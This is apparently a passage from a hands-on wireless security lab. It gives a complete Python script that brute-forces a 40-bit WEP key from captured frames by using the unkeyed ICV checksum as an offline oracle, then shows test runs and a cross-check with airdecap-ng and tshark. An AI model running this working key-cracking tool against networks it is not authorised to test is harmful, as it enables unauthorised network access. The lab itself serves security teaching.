As described in the Inside a WEP Frame task, a receiver decrypts each WEP frame and checks the ICV in the last four bytes of the decrypted data.
The ICV checksum is calculated without using a key at all. It is an ordinary CRC32 over the plaintext. This means that anyone can perform the same test that the receiver performs. They only need to be able to decrypt the frame. If we have one captured frame and a guess at the key, we can run the same test ourselves. The test uses the same RC4 decryption and CRC32 comparison that we ran in the Inside a WEP Frame task, with the guess in place of the key. A wrong key produces noise, and noise satisfies a 32-bit checksum roughly once in four billion attempts. This means that we can use any encrypted frame to check whether a guessed key is the key that encrypted it.
Nothing in that test involves the network. The test does not need an association with the network or any injection. The test also does not need a handshake or a second party. The test does not need a radio at all. A candidate key is checked entirely offline against bytes already on disk. This is what makes an exhaustive search of the keyspace conceivable at all. The WEP search is different from the WPA2 crack in the Attacking Open and WPA2-PSK Networks room. In that room, a single candidate cost 8192 HMAC-SHA1 iterations against the captured handshake. Here, a single candidate costs one 256-step RC4 key schedule and one frame.
Lab note: Nothing later in the room depends on the work below. It transmits nothing, touches no radio at all and runs entirely on the lab machine. It does depend on the key already recovered with aircrack-ng, because the narrowing used further down is built from it.
One Frame Is Enough
For this exercise, we only need a single encrypted data frame from the target. This means that we no longer have the problem of collecting frames that we had for the statistical attack. The wep-01.cap file that we wrote in the Capturing Initialisation Vectors task already holds tens of thousands of them, and we will use it throughout this task. Any capture of F0:9F:C2:71:22:11 serves just as well.
Writing the Oracle
We can write the whole check ourselves as a short Python script. Save the following as wepicv.py, in the same directory as the capture.
#!/usr/bin/env python3
"""
wepicv.py - recover a 40-bit WEP key from a captured frame by brute force
over a NARROWED keyspace, using the frame's own ICV as the oracle.
WEP encrypts plaintext || CRC32(plaintext) with RC4 keyed by IV || key.
The ICV is an unkeyed checksum of the data it protects, so anyone who guesses
the key correctly can prove it offline against a single captured frame:
decrypt, recompute the CRC32, compare. No handshake, no AP, no injection.
The keyspace is narrowed with a mask:
hex digit fixed nibble (known)
? unknown nibble, 0-f
X this nibble repeats the nibble immediately before it
Usage:
wepicv.py <capture.cap> --bssid F0:9F:C2:71:22:11 --mask <mask>
wepicv.py <capture.cap> --bssid ... --mask <key> --show # decrypt only
"""
import argparse
import struct
import sys
import time
from binascii import crc32
SBOX = bytes(range(256))
# ---------------------------------------------------------------- capture ---
def frames(path):
"""Yield raw 802.11 MPDUs from a DLT_IEEE802_11 (105) pcap."""
data = open(path, "rb").read()
magic = data[:4]
if magic == b"\xd4\xc3\xb2\xa1":
end = "<"
elif magic == b"\xa1\xb2\xc3\xd4":
end = ">"
else:
sys.exit("not a pcap file: magic %s" % magic.hex())
linktype = struct.unpack(end + "I", data[20:24])[0]
if linktype != 105:
sys.exit("expected DLT_IEEE802_11 (105), got %d" % linktype)
off = 24
while off + 16 <= len(data):
_, _, caplen, _ = struct.unpack(end + "IIII", data[off:off + 16])
off += 16
if off + caplen > len(data):
break # truncated final record
yield data[off:off + caplen]
off += caplen
def parse_wep(mpdu, bssid):
"""Return (iv, keyid, ciphertext, addrs) for a protected data frame, else None."""
if len(mpdu) < 34:
return None
fc0, fc1 = mpdu[0], mpdu[1]
if (fc0 >> 2) & 3 != 2: # type 2 = data
return None
if not fc1 & 0x40: # Protected Frame bit
return None
tods, fromds = fc1 & 1, (fc1 >> 1) & 1
hdr = 30 if (tods and fromds) else 24
if fc0 & 0x80: # QoS data subtype -> 2 byte QoS Control
hdr += 2
a1 = mpdu[4:10]
a2 = mpdu[10:16]
a3 = mpdu[16:22]
if bssid not in (a1, a2, a3):
return None
body = mpdu[hdr:]
# 802.11 FCS is a CRC32 over the whole MPDU; it is present in some captures
# and stripped in others. Detect it without needing any key.
if len(body) > 8 and crc32(mpdu[:-4]) & 0xFFFFFFFF == struct.unpack("<I", mpdu[-4:])[0]:
body = body[:-4]
if len(body) < 8:
return None
return mpdu[hdr:hdr + 3], mpdu[hdr + 3] >> 6, body[4:], (a1, a2, a3)
# -------------------------------------------------------------------- RC4 ---
def rc4_decrypt(seed, ct):
S = bytearray(SBOX)
j = 0
sl = len(seed)
for i in range(256):
j = (j + S[i] + seed[i % sl]) & 255
S[i], S[j] = S[j], S[i]
out = bytearray(len(ct))
i = j = 0
for n, c in enumerate(ct):
i = (i + 1) & 255
j = (j + S[i]) & 255
S[i], S[j] = S[j], S[i]
out[n] = c ^ S[(S[i] + S[j]) & 255]
return bytes(out)
def icv_ok(seed, ct):
pt = rc4_decrypt(seed, ct)
return crc32(pt[:-4]) & 0xFFFFFFFF == struct.unpack("<I", pt[-4:])[0]
# ------------------------------------------------------------------- mask ---
def expand(mask):
"""Yield every 5-byte key the mask allows, in order."""
mask = mask.lower().replace(":", "")
if len(mask) != 10:
sys.exit("mask must be 10 nibbles for a 40-bit key")
slots = [] # (index, kind, arg)
for i, c in enumerate(mask):
if c in "0123456789abcdef":
slots.append(("fix", int(c, 16)))
elif c == "?":
slots.append(("var", None))
elif c == "x":
if i == 0:
sys.exit("X cannot be the first nibble")
slots.append(("ref", i - 1))
else:
sys.exit("bad mask character %r" % c)
var = [i for i, s in enumerate(slots) if s[0] == "var"]
nib = [0] * 10
for i, s in enumerate(slots):
if s[0] == "fix":
nib[i] = s[1]
total = 16 ** len(var)
for n in range(total):
v = n
for i in reversed(var):
nib[i] = v & 15
v >>= 4
for i, s in enumerate(slots):
if s[0] == "ref":
nib[i] = nib[s[1]]
yield bytes(nib[i] << 4 | nib[i + 1] for i in range(0, 10, 2))
def space_size(mask):
return 16 ** sum(1 for c in mask.lower() if c == "?")
# ------------------------------------------------------------------ crack ---
def crack(iv, ct, mask, confirm, report=250000):
"""Brute force the mask against one frame's ICV, confirm hits on others."""
t0 = ct[0] ^ 0xAA # every 802.11 data frame starts LLC/SNAP
t1 = ct[1] ^ 0xAA # aa aa 03 ..., so two keystream bytes
start = time.time() # are enough to drop 65535 of 65536 keys
tried = 0
nxt = report
for key in expand(mask):
tried += 1
if tried == nxt:
nxt += report
el = time.time() - start
print(" %9d keys %6.1fs %7.0f keys/s" % (tried, el, tried / el))
# --- RC4 KSA, inlined: the seed is always 8 bytes for a 40-bit key ---
S = bytearray(SBOX)
j = 0
kk = (iv + key) * 32 # 256 bytes, avoids a modulo per step
for i, ki in enumerate(kk):
si = S[i]
j = (j + si + ki) & 255
S[i] = S[j]
S[j] = si
# --- two keystream bytes: cheap reject before touching the rest ---
a = S[1]
S[1], S[a] = S[a], S[1]
if S[(S[1] + a) & 255] != t0:
continue
b = (a + S[2]) & 255
S[2], S[b] = S[b], S[2]
if S[(S[2] + S[b]) & 255] != t1:
continue
# --- survivor: decrypt in full and let the ICV decide ---
if icv_ok(iv + key, ct):
if all(icv_ok(iv2 + key, ct2) for iv2, ct2 in confirm):
el = time.time() - start
return key, tried, el
return None, tried, time.time() - start
def main():
ap = argparse.ArgumentParser()
ap.add_argument("capture")
ap.add_argument("--bssid", required=True)
ap.add_argument("--mask", required=True)
ap.add_argument("--show", action="store_true", help="decrypt a frame and stop")
args = ap.parse_args()
bssid = bytes.fromhex(args.bssid.replace(":", ""))
seen, pool = set(), []
for mpdu in frames(args.capture):
p = parse_wep(mpdu, bssid)
if not p:
continue
iv, keyid, ct, addrs = p
if iv in seen: # distinct IVs, so a hit is not luck
continue
seen.add(iv)
pool.append((iv, keyid, ct, addrs))
if len(pool) >= 4:
break
if len(pool) < 4:
sys.exit("need 4 WEP data frames, found %d" % len(pool))
pool.sort(key=lambda p: len(p[2])) # shortest first: fewer RC4 bytes per test
print("target BSSID %s" % args.bssid)
for iv, keyid, ct, addrs in pool:
print(" IV %s keyid %d %3d bytes ciphertext %s -> %s"
% (iv.hex(), keyid, len(ct), addrs[1].hex(":"), addrs[0].hex(":")))
iv, _, ct, _ = pool[0]
confirm = [(p[0], p[2]) for p in pool[1:3]]
if args.show:
pt = rc4_decrypt(iv + bytes.fromhex(args.mask), ct)
ok = crc32(pt[:-4]) & 0xFFFFFFFF == struct.unpack("<I", pt[-4:])[0]
print("\nplaintext (%d bytes), ICV %s" % (len(pt) - 4, "valid" if ok else "INVALID"))
print(pt[:-4].hex(" "))
return
print("\nkeyspace %s -> %d candidates" % (args.mask, space_size(args.mask)))
key, tried, el = crack(iv, ct, args.mask, confirm)
if key:
print("\nKEY FOUND %s (%s)" % (key.hex(), key.hex(":")))
print(" %d candidates in %.1fs (%.0f keys/s), confirmed on %d further frames"
% (tried, el, tried / el, len(confirm)))
else:
print("\nNO KEY. keyspace exhausted: %d candidates in %.1fs (%.0f keys/s)"
% (tried, el, tried / el))
print(" the key is not in this keyspace, so the narrowing assumption was wrong")
sys.exit(1)
if __name__ == "__main__":
main()
The file divides into four parts and the banner comments mark them. The frames and parse_wep functions are used to read the capture. They walk the pcap record by record, and they keep only the protected data frames whose address fields mention the target BSSID. From each of these frames, they split out the three-byte initialisation vector, the key index and the ciphertext. The script collects four frames with distinct initialisation vectors instead of only one, so that a hit on the first frame can be re-tested against the others. The frames are sorted shortest first, because a shorter ciphertext means fewer RC4 bytes spent per candidate.
The rc4_decrypt and icv_ok functions are used as the oracle. These two functions come to about twenty-five lines. They do the same RC4 key scheduling, keystream generation and CRC32 comparison as wep-decrypt.py did in the Inside a WEP Frame task. This is all that the verification step in a cracker does. A cracking tool uses this same check to decide that a key is correct.
The expand function is used to turn a mask into the sequence of keys that the mask allows. A hexadecimal digit in the mask fixes that nibble. A question mark in the mask leaves that nibble free across all sixteen values. An X in the mask repeats the nibble immediately before it. The crack function is used to run the search. The crack function also rejects most candidates early. Every 802.11 data frame opens with an LLC/SNAP header whose first bytes are fixed, so two bytes of keystream are known in advance for any frame. A candidate that fails to produce those two bytes is abandoned after two steps of the generation loop, instead of after decrypting a thousand bytes. This early check discards 65,535 of every 65,536 candidates before the checksum is ever reached.
Reading One Frame With the Key
First, we can supply the key that aircrack-ng already recovered and add --show. The script will decrypt a single frame and stop. This confirms that the capture parses and that the oracle agrees with a key that we know is right. We should check this before we use the oracle to test keys that might be wrong.
Terminal
user@debian-thm:~$ python3 wepicv.py wep-01.cap --bssid F0:9F:C2:71:22:11 --mask <key> --show
target BSSID F0:9F:C2:71:22:11
IV 64498e keyid 0 1040 bytes ciphertext 64:32:a8:56:32:56 -> f0:9f:c2:71:22:11
IV f8b243 keyid 0 1040 bytes ciphertext f0:9f:c2:71:22:11 -> 64:32:a8:56:32:56
IV 64498f keyid 0 1040 bytes ciphertext 64:32:a8:56:32:56 -> f0:9f:c2:71:22:11
IV f8b244 keyid 0 1040 bytes ciphertext f0:9f:c2:71:22:11 -> 64:32:a8:56:32:56
plaintext (1036 bytes), ICV valid
aa aa 03 00 00 00 08 00 45 00 04 04 79 05 40 00 40 01 3a 6c c0 a8 01 36 c0 a8
01 01 08 00 34 fb 1d 31 0c 7f 5d d4 d6 6a 00 00 00 00 c9 98 09 00 00 00 00 00
00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19
The dump is printed on one line and runs on for the full 1036 bytes, so only its opening is reproduced above. From the above output, we can see the four frames that the script selected. Each of these frames has its own initialisation vector and its own direction. The addresses are the access point and the station that the subnet scan already identified. ICV valid is the oracle returning true. The hex dump beneath it is the decrypted plaintext. The bytes aa aa 03 00 00 00 and 08 00 are the same LLC/SNAP header and IPv4 ethertype that we read in the Inside a WEP Frame task. The two free keystream bytes come from this header. A little further along, the bytes c0 a8 01 36 are 192.168.1.54 written in hexadecimal, and this is the station. The bytes c0 a8 01 01 are 192.168.1.1 written in hexadecimal, and this is the gateway. The dump runs on for the length of the frame and is cut short above.
Narrowing the Search
A 40-bit key admits 1,099,511,627,776 possibilities. The rate that this implementation sustains on the lab machine is of the order of thirteen thousand candidates a second, as we will measure further down. If we divide one by the other, a full search with this single-threaded Python script would take something near two years and eight months. The exact figure changes with whatever else the machine is doing. A tuned implementation in C could reach ten million candidates a second. A full search with that implementation would still take about thirty hours. As such, a full brute force search is not a practical way for us to recover a WEP key.
If we want the search to be tractable, we need an assumption that shrinks the space. Whether such an assumption is honest depends entirely on where it came from. We can treat two kinds of assumption as legitimate. The first kind is a flaw in the key generator. The Neesus Datacom routine is an example, and it shipped on a large class of 2000s hardware. This routine folded an ASCII passphrase into a 21-bit seed. As such, the 40-bit keys that it produced only ever occupied a space of 2,097,152. This is known as Newsham's 21-bit attack. In this case, the vendor's key generator had already narrowed the space before any attacker started. The second kind is partial disclosure, where part of the key is already known from somewhere other than the radio. For example, part of the key could come from a management page that masks all but the first half of the key. Part of the key could come from a photograph of the label on the underside of a router. Part of the key could come from a configuration backup with the tail removed. Part of the key could also come from a glimpse over a shoulder.
The third kind is an assumption that is invented because it resembles how people behave. An assumption of this kind is not legitimate. We can see what one of these assumptions costs by running it against the capture.
When the Assumption Is Wrong
The guess that we will test here is that every byte of the key is a repeated hexadecimal digit. A person tends to produce this shape when typing something memorable into a field that will accept nothing but hexadecimal. We can state this guess with the mask ?X?X?X?X?X. This mask has five free nibbles, and each of them is immediately repeated. This mask admits sixteen to the fifth candidates, or 1,048,576. Next, we can run the script against wep-01.cap with this mask.
Terminal
user@debian-thm:~$ python3 wepicv.py wep-01.cap --bssid F0:9F:C2:71:22:11 --mask '?X?X?X?X?X'
keyspace ?X?X?X?X?X -> 1048576 candidates
250000 keys 21.7s 11538 keys/s
500000 keys 40.3s 12392 keys/s
750000 keys 57.9s 12944 keys/s
1000000 keys 74.9s 13346 keys/s
NO KEY. keyspace exhausted: 1048576 candidates in 78.4s (13367 keys/s)
the key is not in this keyspace, so the narrowing assumption was wrong
From the above output, we can see that no key was found. The script had to test every candidate in the keyspace before it could report that. The key in use contains a byte whose two nibbles differ, and no repeated-digit pattern can produce a byte like that. A narrowed brute force cannot tell the difference between an assumption that was wrong and a key that does not exist. In both cases, the search has to test every candidate in the keyspace.
We can use the same run as the control for the oracle itself. More than a million wrong keys were decrypted against one frame, and none of them produced a valid checksum. This means that the test only accepts the right key.
When the Assumption Holds
Then, we can try a second mask that models partial disclosure. This mask treats the first five hexadecimal characters of the key as already known, and it leaves the remaining five free. This keyspace is exactly the same size as the one that we just exhausted, so the most work that our script can do is the same. When we run the script, we should substitute the first five characters of the key recovered earlier in the room for the placeholder.
Terminal
user@debian-thm:~$ python3 wepicv.py wep-01.cap --bssid F0:9F:C2:71:22:11 --mask '<first five>?????'
keyspace <first five>????? -> 1048576 candidates
KEY FOUND <key> (<key-with-colons>)
<count> candidates in 24.5s (10178 keys/s), confirmed on 2 further frames
From the above output, we can see that the script found the key. The mask carried no information about the final five nibbles. The script derived those five nibbles from the capture, using only RC4 and a checksum comparison against the recorded ciphertext. The line confirmed on 2 further frames records the re-test. In this re-test, the winning candidate was run against two of the other frames that were collected at the start. Each of these frames carries a different initialisation vector, and the candidate satisfied the check on both of them. A false positive would have to survive three independent 32-bit comparisons.
We can use the candidate count on the last line as a consistency check. The search walks the unknown nibbles in a fixed order. This means that the position where the search stops is set by the key itself. If the search stopped anywhere else, the oracle would have accepted a key that it should have rejected.
Confirming With Another Tool
Since the key was recovered by our own script, we should also check it with an existing tool. We can use airdecap-ng with the key and the BSSID to write a decrypted copy of the capture called wep-01-dec.cap. Then, we can read the decrypted copy with tshark.
Terminal
user@debian-thm:~$ airdecap-ng -w <key> -b F0:9F:C2:71:22:11 wep-01.cap
Total number of stations seen 3
Total number of packets read 2794
Total number of WEP data packets 2789
Total number of WPA data packets 0
Number of plaintext data packets 0
Number of decrypted WEP packets 2789
Number of corrupted WEP packets 0
Number of decrypted WPA packets 0
Number of bad TKIP (WPA) packets 0
Number of bad CCMP (WPA) packets 0
user@debian-thm:~$ tshark -r wep-01-dec.cap -c 4
1 0.000000 192.168.1.54 → 192.168.1.1 ICMP 1042 Echo (ping) request id=0x1d31, seq=3199/32524, ttl=64
2 0.000020 192.168.1.1 → 192.168.1.54 ICMP 1042 Echo (ping) reply id=0x1d31, seq=3199/32524, ttl=64 (request in 1)
3 0.000031 192.168.1.54 → 192.168.1.1 ICMP 1042 Echo (ping) request id=0x1d32, seq=3205/34060, ttl=64
4 0.000045 192.168.1.1 → 192.168.1.54 ICMP 1042 Echo (ping) reply id=0x1d32, seq=3205/34060, ttl=64 (request in 3)
From the above output, we can see that every WEP data packet in the file was decrypted, and none of them was reported as corrupt. The decrypted traffic is ordinary ICMP echo between the station and the gateway. This is the live traffic of the subnet that we mapped earlier in the room. The packet totals depend on how long the capture was left running and will not match those above for a capture of a different length.
What the Exercise Settles
In this task, we wrote our own ICV oracle and ran it against two narrowed keyspaces. WEP's integrity check is unkeyed, so one recorded frame is sufficient to confirm or reject a candidate key offline. The verification that a cracker performs is also small enough for us to hold in our heads. However, the search is hopeless without some help. In this task, the help came from the crack we had already performed. The first five characters of the key were taken from that crack, so this search did not have to recover them from the radio.
The PTW attack from the How WEP Works and Why It Failed task does not need any help of this kind. PTW makes no assumption about the key, and it never has to search the keyspace. As such, PTW recovers the key in seconds. As we calculated earlier in this task, a full search of the same keyspace with our script would take more than two years. In the next task, we will look at how WPS works and why the PIN fails.
